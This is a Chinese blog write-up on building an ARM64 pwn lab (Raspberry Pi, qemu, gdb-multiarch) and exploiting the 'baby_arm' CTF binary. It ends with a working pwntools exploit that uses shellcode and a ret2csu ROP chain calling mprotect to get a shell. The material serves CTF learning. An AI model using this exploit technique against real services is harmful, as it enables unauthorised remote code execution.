ARM PWN 环境搭建和测试

ARM PWN 探究之环境搭建和测试

最近一次比赛(“骇极杯” 全国大学生信安邀请赛
)遇到了一道arm pwn的题目,题目不难,附上链接 baby_arm。我就想后面说不定也要做arm的题,就搭建一个环境吧。
手上刚好有个闲置的树莓派3b+,众所周知,树莓派是arm架构的,刚好拿来用。

树莓派装64位系统

都2018年了,怎么还在用32位系统呢?
https://github.com/chainsx/ubuntu64-rpi
格式化sd卡,用win32diskimager把系统烧录到sd卡就好,插上树莓派,连接键盘和显示器,开机就好了,非常的简单。
用scp命令把我们的题目传到树莓派上去

scp ./baby_arm [email protected]:/home/tangent/Desktop/

再用socat把可执行文件绑定到某个端口。

$ socat tcp-listen:6666,fork exec:./baby_arm

这样我们nc上去就可以运行这个程序了

nc 192.168.205.133 6666

本地运行调试环境搭建

我们一般本地调试都是在Linux的虚拟机下,而且一般都是64位或者32位架构的。我们可以基于qemu去模拟arm环境。
安装 git,gdb 和 gdb-multiarch,gdb 的插件 pwndbg(或者 gef 等 gdb plugin),pwntools ,这些工具的安装还是比较简单的,就不详细写了,相信大家都是已经装好了的。

安装 qemu

我们对版本的要求不是很严格, 直接通过 apt 等包管理安装

$ sudo apt-get install qemu-user
$ sudo apt-get install qemu-use-binfmt qemu-user-binfmt:i386

通过 qemu 模拟 arm环境,进而进行运行和调试
此时已经可以去运行静态链接的arm架构的程序了,会自动调用对应架构的 qemu。但是很明显我们这个题是动态链接的,他找不到对应的动态链接库,就会报错,从而无法运行
在这里插入图片描述
这就需要我们安装对应架构的共享库,使用apt来搜索一下

apt search "libc6-" | grep "AARCH64"

ARM PWN 环境搭建和测试_第1张图片
然后 apt 安装就可以了
ARM PWN 环境搭建和测试_第2张图片
动态链接程序用qemu运行需要指定动态链接库的路径
在这里插入图片描述

qemu-aarch64 -L /usr/aarch64-linux-gnu ./baby_arm

调试

可以使用 qemu 的 -g 指定端口

qemu-aarch64 -g 1235 -L /usr/aarch64-linux-gnu ./baby_arm

使用gdb-multiarch的remote功能进行调试

pwndbg> target remote localhost:1235

这样就可以成功进行调试了
ARM PWN 环境搭建和测试_第3张图片

漏洞分析

现在的ida pro 7.0版本可以对arm架构的程序F5了,这就很方便,把binary文件拖进idaARM PWN 环境搭建和测试_第4张图片

很明显有一个栈溢出漏洞
ARM PWN 环境搭建和测试_第5张图片
用checksec查看保护
ARM PWN 环境搭建和测试_第6张图片
发现NX enable,这样就不能直接写shellcode了
但是发现plt表里面有mprotect函数,所以我们可以构造fake stack 去调用mprotect函数,修改bss段为可执行,再往bss段写shellcode ,控制返回地址跳转到bss段就可以getshell了。
因为是64位的arm程序,我们需要知道arm架构调用函数的时候的传参规则,才能构造我们的ROP链。详细内容可以阅读
http://infocenter.arm.com/help/topic/com.arm.doc.ihi0055b/IHI0055B_aapcs64.pdf
总而言之,就是函数的第 1 ~ 4 个参数分别保存在 r0 ~ r3 寄存器中, 剩下的参数从右向左依次入栈, 被调用者实现栈平衡,函数的返回值保存在 r0 中
我们发现程序中并不能找到所以寄存器所对应的gadget,所以在构造fake stack的时候,用到了return2csu这个技术,具体论文在(https://www.blackhat.com/docs/asia-18/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf)
exp如下:

from pwn import *
import os

context.arch = 'arm64'

def gdb_attach():
    os.system('xfce4-terminal -x sh -c "gdb-multiarch pwn -ex \'target remote 127.0.0.1:1234\'"')

#p = process(['qemu-aarch64','-g','1234','-L','/usr/aarch64-linux-gnu/','./pwn'])
# gdb_attach()
p = remote('192.168.205.133', 6666)
p.recvuntil('Name:')
p.send(asm(shellcraft.aarch64.sh()) + p64(0x400600)+p64(0x411068)) # 44

raw_input()
padding = ''
for _ in xrange(9):
    padding += chr(ord('a')+_) * 8
p.send(padding+p64(0x4008CC)+p64(0x411068)+p64(0x4008AC) + p64(0) + p64(0xdeadbeef)+p64(0x411068+44)+p64(7)+p64(4096)+p64(0x411000))

p.interactive()

remote到远程主机(树莓派)
我们就拿到了树莓派的shell了

你可能感兴趣的:(writeup)